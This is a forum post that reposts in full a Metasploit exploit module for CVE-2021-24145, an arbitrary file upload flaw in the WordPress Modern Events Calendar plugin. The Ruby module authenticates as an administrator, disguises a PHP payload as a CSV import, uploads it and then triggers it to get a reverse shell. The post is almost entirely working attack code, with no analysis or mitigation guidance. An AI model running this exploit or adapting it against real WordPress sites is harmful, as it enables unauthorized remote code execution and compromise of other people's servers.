WordPress Modern Events Calendar Remote Code Execution

#323
Topic created · 1 Posts · 0 Views
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    class MetasploitModule < Msf::Exploit::Remote
     Rank = ExcellentRanking
    
     include Msf::Exploit::Remote::HttpClient
     prepend Msf::Exploit::Remote::AutoCheck
     include Msf::Exploit::CmdStager
     include Msf::Exploit::Remote::HTTP::Wordpress
     include Msf::Exploit::FileDropper
    
     def initialize(info = {})
     super(
     update\_info(
     info,
     'Name' => 'Wordpress Plugin Modern Events Calendar - Authenticated Remote Code Execution',
     'Description' => %q{
     This module allows an attacker with a privileged Wordpress account to launch a reverse shell
     due to an arbitrary file upload vulnerability in Wordpress plugin Modern Events Calendar < 5.16.5.
     This is due to an incorrect check of the uploaded file extension.
     Indeed, by using `text/csv` content-type in a request, it is possible to upload a .php payload as is is not forbidden by the plugin.
     Finally, the uploaded payload can be triggered by a call to `/wp-content/uploads/<random\_payload\_name>.php`
     },
     'License' => MSF\_LICENSE,
     'Author' =>
     [
     'Nguyen Van Khanh', # Original PoC and discovery
     'Ron Jost', # Exploit-db
     'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
     ],
     'References' =>
     [
     ['EDB', '50115'],
     ['CVE', '2021-24145'],
     ['CWE', '434']
     ],
     'Platform' => [ 'php' ],
     'Arch' => ARCH\_PHP,
     'Targets' =>
     [
     [ 'Wordpress Modern Events Calendar < 5.16.5', {}]
     ],
     'Privileged' => false,
     'DisclosureDate' => '2021-01-29',
     'Notes' =>
     {
     'Stability' => [ CRASH\_SAFE ],
     'SideEffects' => [ ARTIFACTS\_ON\_DISK, IOC\_IN\_LOGS ],
     'Reliability' => [ REPEATABLE\_SESSION ]
     }
     )
     )
    
     register\_options [
     OptString.new('USERNAME', [true, 'Username of the admin account', 'admin']),
     OptString.new('PASSWORD', [true, 'Password of the admin account', 'admin']),
     OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/'])
     ]
     end
    
     def check
     unless wordpress\_and\_online?
     return CheckCode::Safe('Server not online or not detected as Wordpress')
     end
    
     cookie = wordpress\_login(datastore['USERNAME'], datastore['PASSWORD'])
     if cookie
     check\_plugin\_version\_from\_readme('modern-events-calendar-lite', '5.16.5')
     else
     CheckCode::Detected('The admin credentials given are wrong !')
     end
     end
    
     def exploit
     cookie = wordpress\_login(datastore['USERNAME'], datastore['PASSWORD'])
     fail\_with(Failure::NoAccess, 'Authentication failed') unless cookie
     payload\_name = "#{Rex::Text.rand\_text\_alpha\_lower(5)}.php"
    
     post\_data = Rex::MIME::Message.new
     post\_data.add\_part(payload.encoded, 'text/csv', nil, "form-data; name='feed'; filename='#{payload\_name}'")
     post\_data.add\_part('import-start-bookings', nil, nil, "form-data; name='mec-ix-action'")
    
     print\_status("Uploading file \'#{payload\_name}\' containing the payload...")
    
     r = send\_request\_cgi(
     'method' => 'POST',
     'uri' => normalize\_uri(target\_uri.path, 'wp-admin/admin.php'),
     'headers' => {
     'Origin' => full\_uri('')
     },
     'vars\_get' => {
     'page' => 'MEC-ix',
     'tab' => 'MEC-import'
     },
     'cookie' => cookie,
     'data' => post\_data.to\_s,
     'ctype' => "multipart/form-data; boundary=#{post\_data.bound}"
     )
    
     fail\_with(Failure::UnexpectedReply, "Wasn't able to upload the payload file") unless r&.code == 200
     register\_file\_for\_cleanup(payload\_name)
    
     print\_status('Triggering the payload ...')
     send\_request\_cgi(
     'method' => 'GET',
     'headers' => {
     'Origin' => full\_uri('')
     },
     'cookie' => cookie,
     'uri' => normalize\_uri(target\_uri.path, "/wp-content/uploads/#{payload\_name}")
     )
     end
    end
    
    
Log in to reply